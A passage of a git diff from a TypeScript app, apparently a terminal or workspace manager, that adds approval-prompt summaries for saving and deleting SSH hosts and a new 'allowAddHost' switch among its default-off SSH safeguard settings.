{ const a = args as { name?: string; allowDrops?: boolean }; const presetMap: Record) => TreeNode> = { @@ -1256,6 +1308,23 @@ export default function App() { const suffix = a.allowDrops ? " (drops allowed)" : ""; return { summary: `Reshape workspace to ${a.name}${suffix}` }; } + case "add_host": { + const a = args as { + label?: string; + hostname?: string; + user?: string; + port?: number; + }; + const label = (a.label && a.label.trim()) || a.hostname || "(host)"; + const conn = `${a.user ? `${a.user}@` : ""}${a.hostname ?? ""}${a.port ? `:${a.port}` : ""}`; + return { summary: `Save SSH host "${label}" (${conn})` }; + } + case "delete_host": { + const a = args as { hostId?: string }; + const host = a.hostId ? hosts.find((h) => h.id === a.hostId) : null; + const name = host ? `"${host.label}" (${host.hostname})` : a.hostId; + return { summary: `Delete SSH host ${name}` }; + } default: return { summary: `Run ${tool}` }; } diff --git a/src/components/PolicyTab.tsx b/src/components/PolicyTab.tsx index 6ab3b26..fa5011e 100644 --- a/src/components/PolicyTab.tsx +++ b/src/components/PolicyTab.tsx @@ -127,7 +127,7 @@ export default function PolicyTab() { } function setSshSafeguard( - key: "allowOpenSsh" | "autoAllowSpawnedSsh", + key: "allowOpenSsh" | "autoAllowSpawnedSsh" | "allowAddHost", value: boolean, ) { mutate((p) => ({ @@ -208,6 +208,24 @@ export default function PolicyTab() { keystrokes. Only meaningful when the switch above is on. +
diff --git a/src/ipc.ts b/src/ipc.ts index d2a69e6..27482a3 100644 --- a/src/ipc.ts +++ b/src/ipc.ts @@ -165,11 +165,12 @@ export interface McpPolicy { ask: string[]; allow: string[]; }; - /** SSH-specific capability switches; mirrors Rust SshSafeguards. Both + /** SSH-specific capability switches; mirrors Rust SshSafeguards. All * default to false on first load. */ sshSafeguards: { allowOpenSsh: boolean; autoAllowSpawnedSsh: boolean; + allowAddHost: boolean; }; }